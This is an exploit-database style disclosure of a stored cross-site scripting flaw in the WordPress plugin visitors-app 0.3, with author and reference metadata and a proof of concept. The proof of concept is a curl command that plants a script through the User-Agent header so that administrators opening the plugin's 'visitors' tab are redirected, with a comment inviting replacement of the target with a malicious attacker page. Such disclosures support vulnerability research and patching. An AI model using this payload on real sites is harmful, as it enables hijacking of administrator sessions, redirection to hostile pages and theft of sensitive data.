WordPress Visitors-App 0.3 Cross Site Scripting

#313
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  • # Exploit Title: WordPress Plugin visitors-app 0.3 - 'user-agent' Stored Cross-Site Scripting (XSS)
    # Date: 09/06/2021
    # Exploit Author: Mesut Cetin
    # Vendor Homepage: https://profiles.wordpress.org/domingoruiz/
    # Software Link: https://wordpress.org/plugins/visitors-app/
    # Version: 0.3 
    # Tested on: Debian GNU/Linux 10
    # Reference: https://wpscan.com/vulnerability/06f1889d-8e2f-481a-b91b-3a8008e00ffc
    
    ## Description:
    # A vulnerability in the Wordpress plugin "visitors" version 0.3 and prior allows remote attacker through 
    # Cross-Site Scripting (XSS) to redirect administrators and visitors and potentially obtain sensitive informations
    # The 'user-agent' parameter allows attacker to escalate their privileges.
    
    ## PoC
    # Replace google.com with malicious attacker page
    curl -i http://localhost/wordpress --user-agent "</script><script>location=([]+/http:\\google.com/g).substr(1,19); </script>"
    
    # on http://localhost/wordpress/wp-admin, browse the tab "visitors"
    
    
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